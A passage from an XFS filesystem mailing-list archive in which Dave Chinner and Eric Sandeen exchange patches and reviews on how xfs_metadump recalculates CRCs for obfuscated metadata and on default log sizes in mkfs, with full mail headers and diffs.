/* add to ring on set_cur */ diff --git a/db/metadump.c b/db/metadump.c index 5baf83d..c829726 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -190,26 +190,36 @@ write_buf_segment( return 0; } +/* + * we want to preserve the state of the metadata in the dump - whether it is + * intact or corrupt, so even if the buffer has a verifier attached to it we + * don't want to run it prior to writing the buffer to the metadump image. + * + * The only reason for running the verifier is to recalculate the CRCs on a + * buffer that has been obfuscated. i.e. a buffer than metadump modified itself. + * In this case, we only run the verifier if the buffer was not corrupt to begin + * with so that we don't accidentally correct buffers with CRC or errors in them + * when we are obfuscating them. + */ static int write_buf( iocur_t *buf) { + struct xfs_buf *bp = buf->bp; int i; int ret; /* * Run the write verifier to recalculate the buffer CRCs and check - * we are writing something valid to disk + * metadump didn't introduce a new corruption. Warn if the verifier + * failed, but still continue to dump it into the output file. */ - if (buf->bp && buf->bp->b_ops) { - buf->bp->b_error = 0; - buf->bp->b_ops->verify_write(buf->bp); - if (buf->bp->b_error) { - fprintf(stderr, - _("%s: write verifer failed on bno 0x%llx/0x%x\n"), - __func__, (long long)buf->bp->b_bn, - buf->bp->b_bcount); - return -buf->bp->b_error; + if (buf->need_crc && bp && bp->b_ops && !bp->b_error) { + bp->b_ops->verify_write(bp); + if (bp->b_error) { + print_warning( + "obfuscation corrupted block at bno 0x%llx/0x%x", + (long long)bp->b_bn, bp->b_bcount); } } @@ -1374,6 +1384,7 @@ process_single_fsb_objects( o++; dp += mp->m_sb.sb_blocksize; } + iocur_top->need_crc = 1; ret = write_buf(iocur_top); out_pop: @@ -1442,6 +1453,7 @@ process_multi_fsb_objects( obfuscate_dir_data_block(iocur_top->data, o, last == mp->m_dirblkfsbs); + iocur_top->need_crc = 1; ret = write_buf(iocur_top); out_pop: pop_cur(); @@ -1722,6 +1734,13 @@ process_inode_data( return 1; } +/* + * when we process the inode, we may change the data in the data and/or + * attribute fork if they are in short form and we are obfuscating names. + * In this case we need to recalculate the CRC of the inode, but we should + * only do that if the CRC in the inode is good to begin with. If the crc + * is not ok, we just leave it alone. + */ static int process_inode( xfs_agnumber_t agno, @@ -1729,17 +1748,28 @@ process_inode( xfs_dinode_t *dip) { int success; + bool crc_ok = false; /* don't recalc by default */ + bool need_crc = false; success = 1; cur_ino = XFS_AGINO_TO_INO(mp, agno, agino); + /* we only care about crc recalculation if we are obfuscating names. */ + if (!dont_obfuscate) + crc_ok = xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, + offsetof(struct xfs_dinode, di_crc)); + /* copy appropriate data fork metadata */ switch (be16_to_cpu(dip->di_mode) & S_IFMT) { case S_IFDIR: success = process_inode_data(dip, TYP_DIR2); + if (dip->di_format == XFS_DINODE_FMT_LOCAL) + need_crc = 1; break; case S_IFLNK: success = process_inode_data(dip, TYP_SYMLINK); + if (dip->di_format == XFS_DINODE_FMT_LOCAL) + need_crc = 1; break; case S_IFREG: success = process_inode_data(dip, TYP_DATA); @@ -1754,6 +1784,7 @@ process_inode( attr_data.remote_val_count = 0; switch (dip->di_aformat) { case XFS_DINODE_FMT_LOCAL: + need_crc = 1; if (!dont_obfuscate) obfuscate_sf_attr(dip); break; @@ -1768,6 +1799,9 @@ process_inode( } nametable_clear(); } + + if (crc_ok && need_crc) + xfs_dinode_calc_crc(mp, dip); return success; } @@ -1838,9 +1872,6 @@ copy_inode_chunk( if (!process_inode(agno, agino + i, dip)) goto pop_out; - - /* calculate the new CRC for the inode */ - xfs_dinode_calc_crc(mp, dip); } skip_processing: if (write_buf(iocur_top)) From sandeen@sandeen.net Thu Feb 27 21:12:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 554167F3F for ; Thu, 27 Feb 2014 21:12:51 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 282908F8037 for ; Thu, 27 Feb 2014 19:12:50 -0800 (PST) X-ASG-Debug-ID: 1393557165-04bdf05dabebee0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id rhS4ngSqAkhF4vce for ; Thu, 27 Feb 2014 19:12:45 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8640463C59A4; Thu, 27 Feb 2014 21:12:45 -0600 (CST) Message-ID: <530FFEAC.6040802@sandeen.net> Date: Thu, 27 Feb 2014 21:12:44 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] mkfs: default log size for small filesystems too large References: <1393494344-30056-1-git-send-email-david@fromorbit.com> <1393494344-30056-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 1/2] mkfs: default log size for small filesystems too large In-Reply-To: <1393494344-30056-2-git-send-email-david@fromorbit.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393557165 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145589 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/27/14, 3:45 AM, Dave Chinner wrote: > From: Dave Chinner > > Recent changes to the log size scaling have resulted in using the > default size multiplier for the log size even on small filesystems. > Commit 88cd79b ("xfs: Add xfs_log_rlimit.c") changed the calculation > of the maximum transaction size that the kernel would issues and > that significantly increased the minimum size of the default log. > As such the size of the log on small filesystems was typically > larger than the prefious default, even though the previous default > was still larger than the minimum needed. > > Rework the default log size calculation such that it will use the > original log size default if it is larger than the minimum log size > required, and only use a larger log if the configuration of the > filesystem requires it. > > This is especially obvious in xfs/216, where the default log size is > 10MB all the way up to 16GB filesystems. The current mkfs selects a > log size of 50MB for the same size filesystems and this is > unnecessarily large. > > Return the scaling of the log size for small filesystems to > something similar to what xfs/216 expects. > > Signed-off-by: Dave Chinner Looks good. Reviewed-by: Eric Sandeen > --- > mkfs/xfs_mkfs.c | 48 ++++++++++++++++++++++++++++-------------------- > 1 file changed, 28 insertions(+), 20 deletions(-) > > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > index d82128c..f7cf394 100644 > --- a/mkfs/xfs_mkfs.c > +++ b/mkfs/xfs_mkfs.c > @@ -2366,32 +2366,40 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), > } else if (!loginternal && !xi.logdev) { > logblocks = 0; > } else if (loginternal && !logsize) { > - /* > - * With a 2GB max log size, default to maximum size > - * at 4TB. This keeps the same ratio from the older > - * max log size of 128M at 256GB fs size. IOWs, > - * the ratio of fs size to log size is 2048:1. > - */ > - logblocks = (dblocks << blocklog) / 2048; > - logblocks = logblocks >> blocklog; > - logblocks = MAX(min_logblocks, logblocks); > > - /* > - * If the default log size doesn't fit in the AG size, use the > - * minimum log size instead. This ensures small filesystems > - * don't use excessive amounts of space for the log. > - */ > - if (min_logblocks * XFS_DFL_LOG_FACTOR >= agsize) { > + if (dblocks < GIGABYTES(1, blocklog)) { > + /* tiny filesystems get minimum sized logs. */ > logblocks = min_logblocks; > + } else if (dblocks < GIGABYTES(16, blocklog)) { > + > + /* > + * For small filesystems, we want to use the > + * XFS_MIN_LOG_BYTES for filesystems smaller than 16G if > + * at all possible, ramping up to 128MB at 256GB. > + */ > + logblocks = MIN(XFS_MIN_LOG_BYTES >> blocklog, > + min_logblocks * XFS_DFL_LOG_FACTOR); > } else { > - logblocks = MAX(logblocks, > - MAX(XFS_DFL_LOG_SIZE, > - min_logblocks * XFS_DFL_LOG_FACTOR)); > + /* > + * With a 2GB max log size, default to maximum size > + * at 4TB. This keeps the same ratio from the older > + * max log size of 128M at 256GB fs size. IOWs, > + * the ratio of fs size to log size is 2048:1. > + */ > + logblocks = (dblocks << blocklog) / 2048; > + logblocks = logblocks >> blocklog; > + logblocks = MAX(min_logblocks, logblocks); > } > + > + /* make sure the log fits wholly within an AG */ > + if (logblocks >= agsize) > + logblocks = min_logblocks; > + > + /* and now clamp the size to the maximum supported size */ > logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); > - if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { > + if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) > logblocks = XFS_MAX_LOG_BYTES >> blocklog; > - } > + > } > validate_log_size(logblocks, blocklog, min_logblocks); > > From sandeen@sandeen.net Thu Feb 27 22:06:11 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5DE7E7F3F for ; Thu, 27 Feb 2014 22:06:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 41EF8304070 for ; Thu, 27 Feb 2014 20:06:07 -0800 (PST) X-ASG-Debug-ID: 1393560366-04cb6c5676e5c60001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id XsB8VPMueMhwnbCI for ; Thu, 27 Feb 2014 20:06:06 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 0431E63C59A4; Thu, 27 Feb 2014 22:06:05 -0600 (CST) Message-ID: <53100B2D.8000509@sandeen.net> Date: Thu, 27 Feb 2014 22:06:05 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH, V2] metadump: don't verify metadata being dumped References: <1393548825-16499-1-git-send-email-david@fromorbit.com> <20140228025138.GJ30131@dastard> X-ASG-Orig-Subj: Re: [PATCH, V2] metadump: don't verify metadata being dumped In-Reply-To: <20140228025138.GJ30131@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393560366 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145590 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On 2/27/14, 8:51 PM, Dave Chinner wrote: > metadump: don't verify metadata being dumped Not a complete summary anymore... > From: Dave Chinner > > The discontiguous buffer support series added a verifier check on > the metadata buffers before they go written to the metadump image. > If this failed, it returned an error, and the restul woul dbe that wheny ou type too fasty ou end up with thes ame sort of typosa sIdo. ;) > we stopped processing the metadata and exited, resulting in a > truncated dump. > > xfs_metadump is supposed to dump the metadata in the filesystem for > forensic analysis purposes, which means we actually want it to > retain any corruptions it finds in the filesystem. Hence running the > verifier - even to recalculate CRCs - when the metadata is > unmodified is the wrong thing to be doing. And stopping the dump > when we come across an error is even worse. > > We still need to do CRC recalculation when obfuscating names and > attributes. Hence we need to make running the verifier conditional > on the buffer or inode: > a) being uncorrupted when read, and > b) modified by the obfuscation code. > > If either of these conditions is not true, then we don't run the > verifier or recalculate the CRCs. I think this looks mostly ok; small questions & nitpicks below. > Signed-off-by: Dave Chinner > --- > V2: run verifiers on buffers and inodes modified by obfuscation, but > only if they are not corrupt before obfuscation. Thanks, Eric! > > db/io.h | 1 + > db/metadump.c | 57 ++++++++++++++++++++++++++++++++++++++++++++------------- > 2 files changed, 45 insertions(+), 13 deletions(-) > > diff --git a/db/io.h b/db/io.h > index 4f24c83..d8cf383 100644 > --- a/db/io.h > +++ b/db/io.h > @@ -41,6 +41,7 @@ typedef struct iocur { > int ino_crc_ok:1; > int ino_buf:1; > int dquot_buf:1; > + int need_crc:1; > } iocur_t; > > #define DB_RING_ADD 1 /* add to ring on set_cur */ > diff --git a/db/metadump.c b/db/metadump.c > index 5baf83d..c829726 100644 > --- a/db/metadump.c > +++ b/db/metadump.c > @@ -190,26 +190,36 @@ write_buf_segment( > return 0; > } > > +/* > + * we want to preserve the state of the metadata in the dump - whether it is > + * intact or corrupt, so even if the buffer has a verifier attached to it we > + * don't want to run it prior to writing the buffer to the metadump image. > + * > + * The only reason for running the verifier is to recalculate the CRCs on a > + * buffer that has been obfuscated. i.e. a buffer than metadump modified itself. > + * In this case, we only run the verifier if the buffer was not corrupt to begin > + * with so that we don't accidentally correct buffers with CRC or errors in them > + * when we are obfuscating them. > + */ > static int > write_buf( > iocur_t *buf) > { > + struct xfs_buf *bp = buf->bp; > int i; > int ret; > > /* > * Run the write verifier to recalculate the buffer CRCs and check > - * we are writing something valid to disk > + * metadump didn't introduce a new corruption. Warn if the verifier > + * failed, but still continue to dump it into the output file. > */ > - if (buf->bp && buf->bp->b_ops) { > - buf->bp->b_error = 0; > - buf->bp->b_ops->verify_write(buf->bp); > - if (buf->bp->b_error) { > - fprintf(stderr, > - _("%s: write verifer failed on bno 0x%llx/0x%x\n"), > - __func__, (long long)buf->bp->b_bn, > - buf->bp->b_bcount); > - return -buf->bp->b_error; > + if (buf->need_crc && bp && bp->b_ops && !bp->b_error) { > + bp->b_ops->verify_write(bp); > + if (bp->b_error) { > + print_warning( > + "obfuscation corrupted block at bno 0x%llx/0x%x", > + (long long)bp->b_bn, bp->b_bcount); > } > } > > @@ -1374,6 +1384,7 @@ process_single_fsb_objects( > o++; > dp += mp->m_sb.sb_blocksize; > } > + iocur_top->need_crc = 1; in the default: case we don't obfuscate. Should it still get need_crc? > ret = write_buf(iocur_top); > > out_pop: > @@ -1442,6 +1453,7 @@ process_multi_fsb_objects( > > obfuscate_dir_data_block(iocur_top->data, o, > last == mp->m_dirblkfsbs); > + iocur_top->need_crc = 1; > ret = write_buf(iocur_top); > out_pop: > pop_cur(); > @@ -1722,6 +1734,13 @@ process_inode_data( > return 1; > } > > +/* > + * when we process the inode, we may change the data in the data and/or > + * attribute fork if they are in short form and we are obfuscating names. > + * In this case we need to recalculate the CRC of the inode, but we should > + * only do that if the CRC in the inode is good to begin with. If the crc > + * is not ok, we just leave it alone. > + */ > static int > process_inode( > xfs_agnumber_t agno, > @@ -1729,17 +1748,28 @@ process_inode( > xfs_dinode_t *dip) > { > int success; > + bool crc_ok = false; /* don't recalc by default */ > + bool need_crc = false; I might do + bool crc_was_ok = false; /* don't recalc by default */ + bool need_new_crc = false; for clarity...? > success = 1; > cur_ino = XFS_AGINO_TO_INO(mp, agno, agino); > > + /* we only care about crc recalculation if we are obfuscating names. */ > + if (!dont_obfuscate) > + crc_ok = xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, > + offsetof(struct xfs_dinode, di_crc)); > + > /* copy appropriate data fork metadata */ > switch (be16_to_cpu(dip->di_mode) & S_IFMT) { > case S_IFDIR: > success = process_inode_data(dip, TYP_DIR2); > + if (dip->di_format == XFS_DINODE_FMT_LOCAL) > + need_crc = 1; I wish this were closer to the point of obfuscation, but oh well. > break; > case S_IFLNK: > success = process_inode_data(dip, TYP_SYMLINK); > + if (dip->di_format == XFS_DINODE_FMT_LOCAL) > + need_crc = 1; > break; > case S_IFREG: > success = process_inode_data(dip, TYP_DATA); > @@ -1754,6 +1784,7 @@ process_inode( > attr_data.remote_val_count = 0; > switch (dip->di_aformat) { > case XFS_DINODE_FMT_LOCAL: > + need_crc = 1; > if (!dont_obfuscate) > obfuscate_sf_attr(dip); > break; > @@ -1768,6 +1799,9 @@ process_inode( > } > nametable_clear(); > } > + > + if (crc_ok && need_crc) > + xfs_dinode_calc_crc(mp, dip); > return success; > } > > @@ -1838,9 +1872,6 @@ copy_inode_chunk( > > if (!process_inode(agno, agino + i, dip)) > goto pop_out; > - > - /* calculate the new CRC for the inode */ > - xfs_dinode_calc_crc(mp, dip); > } > skip_processing: > if (write_buf(iocur_top)) > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From david@fromorbit.com Thu Feb 27 22:46:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 627127F4E for ; Thu, 27 Feb 2014 22:46:25 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F1B30AC001 for ; Thu, 27 Feb 2014 20:46:21 -0800 (PST) X-ASG-Debug-ID: 1393562779-04bdf05dabeff00001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id rfnyC3DWXdLjLDgw for ; Thu, 27 Feb 2014 20:46:20 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Arh5AAsUEFN5LJYePGdsb2JhbABagwaDQ4UMtACFVoESFwMBAQEBHxkNKIIlAQEEAScTHCMQCAMYCSUPBSUDBxoTh3EHyzYXFo4/B4Q3BJg3lWwo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 15:16:19 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WJFKz-0002Cd-N5; Fri, 28 Feb 2014 15:46:17 +1100 Date: Fri, 28 Feb 2014 15:46:17 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH, V2] metadump: don't verify metadata being dumped Message-ID: <20140228044617.GK30131@dastard> X-ASG-Orig-Subj: Re: [PATCH, V2] metadump: don't verify metadata being dumped References: <1393548825-16499-1-git-send-email-david@fromorbit.com> <20140228025138.GJ30131@dastard> <53100B2D.8000509@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <53100B2D.8000509@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393562779 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145591 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On Thu, Feb 27, 2014 at 10:06:05PM -0600, Eric Sandeen wrote: > On 2/27/14, 8:51 PM, Dave Chinner wrote: > > @@ -1374,6 +1384,7 @@ process_single_fsb_objects( > > o++; > > dp += mp->m_sb.sb_blocksize; > > } > > + iocur_top->need_crc = 1; > > in the > > default: > > case we don't obfuscate. Should it still get need_crc? Ah, right. I looked at the "dont_obfuscate" jump, not the switch statement. Will fix. > > +/* > > + * when we process the inode, we may change the data in the data and/or > > + * attribute fork if they are in short form and we are obfuscating names. > > + * In this case we need to recalculate the CRC of the inode, but we should > > + * only do that if the CRC in the inode is good to begin with. If the crc > > + * is not ok, we just leave it alone. > > + */ > > static int > > process_inode( > > xfs_agnumber_t agno, > > @@ -1729,17 +1748,28 @@ process_inode( > > xfs_dinode_t *dip) > > { > > int success; > > + bool crc_ok = false; /* don't recalc by default */ > > + bool need_crc = false; > > I might do > > + bool crc_was_ok = false; /* don't recalc by default */ > + bool need_new_crc = false; > > for clarity...? *nod* > > success = 1; > > cur_ino = XFS_AGINO_TO_INO(mp, agno, agino); > > > > + /* we only care about crc recalculation if we are obfuscating names. */ > > + if (!dont_obfuscate) > > + crc_ok = xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, > > + offsetof(struct xfs_dinode, di_crc)); > > + > > /* copy appropriate data fork metadata */ > > switch (be16_to_cpu(dip->di_mode) & S_IFMT) { > > case S_IFDIR: > > success = process_inode_data(dip, TYP_DIR2); > > + if (dip->di_format == XFS_DINODE_FMT_LOCAL) > > + need_crc = 1; > > I wish this were closer to the point of obfuscation, but oh well. It means carrying a tristate or extra varaible through the stack, which doesn't make it any simpler to understand because we have to do the CRC here once we know we've finished all the modifications to the inode.... > > > break; > > case S_IFLNK: > > success = process_inode_data(dip, TYP_SYMLINK); > > + if (dip->di_format == XFS_DINODE_FMT_LOCAL) > > + need_crc = 1; > > break; > > case S_IFREG: > > success = process_inode_data(dip, TYP_DATA); > > @@ -1754,6 +1784,7 @@ process_inode( > > attr_data.remote_val_count = 0; > > switch (dip->di_aformat) { > > case XFS_DINODE_FMT_LOCAL: > > + need_crc = 1; > > if (!dont_obfuscate) > > obfuscate_sf_attr(dip); And this one kind of forces us to do it here if we want to only have one place where we recalc CRCs... Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Fri Feb 28 00:26:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DBB7A7F3F for ; Fri, 28 Feb 2014 00:26:26 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D2A45304070 for ; Thu, 27 Feb 2014 22:26:26 -0800 (PST) X-ASG-Debug-ID: 1393568780-04cb6c5676ec2e0002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id sHLi0PXhwwKSE1Jk for ; Thu, 27 Feb 2014 22:26:25 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjVTAFIrEFN5LJYePGdsb2JhbABagwaIT7pqFwMBAQEBHxkNKIIlAQEFJy8zCBgxOQMHFBmHeMs4F45yhCEEriUo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl2.internode.on.net with ESMTP; 28 Feb 2014 16:55:25 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WJGsv-0002RA-0k for xfs@oss.sgi.com; Fri, 28 Feb 2014 17:25:25 +1100 Received: from dave by disappointment with local (Exim 4.82) (envelope-from ) id 1WJGsv-0000NX-05 for xfs@oss.sgi.com; Fri, 28 Feb 2014 17:25:24 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/3] metadump: contiguous metadata object need to be split Date: Fri, 28 Feb 2014 17:25:21 +1100 X-ASG-Orig-Subj: [PATCH 1/3] metadump: contiguous metadata object need to be split Message-Id: <1393568723-982-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.9.0 In-Reply-To: <1393568723-982-1-git-send-email-david@fromorbit.com> References: <1393568723-982-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1393568785 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145594 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner On crc enabled filesystems with obfuscation enabled we need to be able to recalculate the CRCs on individual buffers. process_single_fsb_objects() reads a contiguous range of single block objects as a singel buffer, and hence we cannot correctly recalculate the CRCs on them. Split the loop up into individual buffer reads, processing and writes rather than a single read, multiple block processing and a single write. Signed-off-by: Dave Chinner --- db/metadump.c | 46 ++++++++++++++++++++++++---------------------- 1 file changed, 24 insertions(+), 22 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index 5baf83d..14902a7 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -1331,29 +1331,27 @@ process_single_fsb_objects( int ret = 0; int i; - push_cur(); - set_cur(&typtab[btype], XFS_FSB_TO_DADDR(mp, s), c * blkbb, - DB_RING_IGN, NULL); + for (i = 0; i < c; i++) { + push_cur(); + set_cur(&typtab[btype], XFS_FSB_TO_DADDR(mp, s), blkbb, + DB_RING_IGN, NULL); - if (!iocur_top->data) { - xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, s); - xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, s); + if (!iocur_top->data) { + xfs_agnumber_t agno = XFS_FSB_TO_AGNO(mp, s); + xfs_agblock_t agbno = XFS_FSB_TO_AGBNO(mp, s); - print_warning("cannot read %s block %u/%u (%llu)", - typtab[btype].name, agno, agbno, s); - if (stop_on_read_error) - ret = -EIO; - goto out_pop; + print_warning("cannot read %s block %u/%u (%llu)", + typtab[btype].name, agno, agbno, s); + if (stop_on_read_error) + ret = -EIO; + goto out_pop; - } + } - if (dont_obfuscate) { - ret = write_buf(iocur_top); - goto out_pop; - } + if (dont_obfuscate) + goto write; - dp = iocur_top->data; - for (i = 0; i < c; i++) { + dp = iocur_top->data; switch (btype) { case TYP_DIR2: if (o >= mp->m_dirleafblk) @@ -1371,13 +1369,17 @@ process_single_fsb_objects( default: break; } + +write: + ret = write_buf(iocur_top); +out_pop: + pop_cur(); + if (ret) + break; o++; - dp += mp->m_sb.sb_blocksize; + s++; } - ret = write_buf(iocur_top); -out_pop: - pop_cur(); return ret; } -- 1.9.0 From dave@fromorbit.com Fri Feb 28 00:26:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C9A877F3F for ; Fri, 28 Feb 2014 00:26:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C0B098F8037 for ; Thu, 27 Feb 2014 22:26:27 -0800 (PST) X-ASG-Debug-ID: 1393568785-04cb6c5676ec2f0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 1ppZi7xLKGMB8sEE for ; Thu, 27 Feb 2014 22:26:26 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjRTAFIrEFN5LJYePGdsb2JhbABagwaIT7pqFwMBAQEBHxkNKIIlAQEFVjMIGDE5AwcUGYd4yzgXkxMEriUo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by 